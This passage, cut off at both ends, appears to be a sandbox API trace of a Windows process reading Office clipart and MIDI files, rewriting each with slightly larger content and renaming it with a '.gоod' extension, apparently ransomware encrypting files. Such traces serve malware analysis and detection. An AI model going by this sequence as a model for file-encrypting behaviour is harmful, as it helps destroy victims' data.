Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", lpFilePart=0x0) returned 0x42 [0269.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0269.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.804] GetFileType (hFile=0x89c) returned 0x1 [0269.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0269.804] GetFileType (hFile=0x89c) returned 0x1 [0269.804] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xdec [0269.804] ReadFile (in: hFile=0x89c, lpBuffer=0x382c7f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x382c7f8*, lpNumberOfBytesRead=0x1faedc88*=0xdec, lpOverlapped=0x0) returned 1 [0269.805] CloseHandle (hObject=0x89c) returned 1 [0270.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", lpFilePart=0x0) returned 0x42 [0270.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0270.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0270.365] GetFileType (hFile=0x808) returned 0x1 [0270.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0270.365] GetFileType (hFile=0x808) returned 0x1 [0270.365] WriteFile (in: hFile=0x808, lpBuffer=0x3aa2248*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3aa2248*, lpNumberOfBytesWritten=0x1faedb98*=0xdf0, lpOverlapped=0x0) returned 1 [0270.366] CloseHandle (hObject=0x808) returned 1 [0270.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", lpFilePart=0x0) returned 0x42 [0270.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.gоod", lpFilePart=0x0) returned 0x47 [0270.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0270.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d5dc086, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0270.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0270.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.gоod")) returned 1 [0270.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", lpFilePart=0x0) returned 0x44 [0270.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0270.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3aa34c0 | out: lpFileInformation=0x3aa34c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976)) returned 1 [0270.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0270.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", lpFilePart=0x0) returned 0x44 [0270.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0270.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0270.368] GetFileType (hFile=0x808) returned 0x1 [0270.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0270.368] GetFileType (hFile=0x808) returned 0x1 [0270.368] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x976 [0270.368] ReadFile (in: hFile=0x808, lpBuffer=0x3aa40e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3aa40e0*, lpNumberOfBytesRead=0x1faedc88*=0x976, lpOverlapped=0x0) returned 1 [0270.369] CloseHandle (hObject=0x808) returned 1 [0270.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", lpFilePart=0x0) returned 0x44 [0270.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0270.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.961] GetFileType (hFile=0x8a4) returned 0x1 [0270.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0270.961] GetFileType (hFile=0x8a4) returned 0x1 [0270.962] WriteFile (in: hFile=0x8a4, lpBuffer=0x386f028*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x386f028*, lpNumberOfBytesWritten=0x1faedb98*=0x980, lpOverlapped=0x0) returned 1 [0270.962] CloseHandle (hObject=0x8a4) returned 1 [0270.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", lpFilePart=0x0) returned 0x44 [0270.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.gоod", lpFilePart=0x0) returned 0x49 [0270.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0270.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9db8e449, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0270.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0270.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.gоod")) returned 1 [0270.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", lpFilePart=0x0) returned 0x44 [0270.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0270.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38702b8 | out: lpFileInformation=0x38702b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1 [0270.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0270.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", lpFilePart=0x0) returned 0x44 [0270.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0270.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.964] GetFileType (hFile=0x8a4) returned 0x1 [0270.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0270.964] GetFileType (hFile=0x8a4) returned 0x1 [0270.964] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x8d6 [0270.965] ReadFile (in: hFile=0x8a4, lpBuffer=0x3870e38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3870e38*, lpNumberOfBytesRead=0x1faedc88*=0x8d6, lpOverlapped=0x0) returned 1 [0270.965] CloseHandle (hObject=0x8a4) returned 1 [0270.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", lpFilePart=0x0) returned 0x44 [0270.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0270.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.993] GetFileType (hFile=0x8a4) returned 0x1 [0270.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0270.993] GetFileType (hFile=0x8a4) returned 0x1 [0270.993] WriteFile (in: hFile=0x8a4, lpBuffer=0x38eb1a8*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38eb1a8*, lpNumberOfBytesWritten=0x1faedb98*=0x8e0, lpOverlapped=0x0) returned 1 [0270.993] CloseHandle (hObject=0x8a4) returned 1 [0270.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", lpFilePart=0x0) returned 0x44 [0270.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.gоod", lpFilePart=0x0) returned 0x49 [0270.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0270.994] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9dbda6b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0270.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0270.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.gоod")) returned 1 [0270.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", lpFilePart=0x0) returned 0x40 [0270.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0270.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38ec438 | out: lpFileInformation=0x38ec438*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1 [0270.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0270.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", lpFilePart=0x0) returned 0x40 [0270.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0270.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.995] GetFileType (hFile=0x8a4) returned 0x1 [0270.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0270.995] GetFileType (hFile=0x8a4) returned 0x1 [0270.995] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x8d6 [0270.996] ReadFile (in: hFile=0x8a4, lpBuffer=0x38ecf98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x38ecf98*, lpNumberOfBytesRead=0x1faedc88*=0x8d6, lpOverlapped=0x0) returned 1 [0271.397] CloseHandle (hObject=0x8a4) returned 1 [0272.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", lpFilePart=0x0) returned 0x40 [0272.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0272.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.009] GetFileType (hFile=0x8a8) returned 0x1 [0272.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0272.009] GetFileType (hFile=0x8a8) returned 0x1 [0272.009] WriteFile (in: hFile=0x8a8, lpBuffer=0x390e120*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x390e120*, lpNumberOfBytesWritten=0x1faedb98*=0x8e0, lpOverlapped=0x0) returned 1 [0272.010] CloseHandle (hObject=0x8a8) returned 1 [0272.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", lpFilePart=0x0) returned 0x40 [0272.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.gоod", lpFilePart=0x0) returned 0x45 [0272.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0272.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e58a1a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0272.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0272.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.gоod")) returned 1 [0272.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpFilePart=0x0) returned 0x44 [0272.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0272.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x390f398 | out: lpFileInformation=0x390f398*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a)) returned 1 [0272.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0272.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpFilePart=0x0) returned 0x44 [0272.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.012] GetFileType (hFile=0x8a8) returned 0x1 [0272.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.012] GetFileType (hFile=0x8a8) returned 0x1 [0272.012] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0272.012] ReadFile (in: hFile=0x8a8, lpBuffer=0x390f7b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x390f7b0*, lpNumberOfBytesRead=0x1faedd28*=0xb3a, lpOverlapped=0x0) returned 1 [0272.014] CloseHandle (hObject=0x8a8) returned 1 [0272.014] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpFilePart=0x0) returned 0x44 [0272.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.014] GetFileType (hFile=0x8a8) returned 0x1 [0272.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.014] GetFileType (hFile=0x8a8) returned 0x1 [0272.014] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1b3a [0272.014] WriteFile (in: hFile=0x8a8, lpBuffer=0x3910a68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3910a68*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0272.014] CloseHandle (hObject=0x8a8) returned 1 [0272.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpFilePart=0x0) returned 0x44 [0272.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 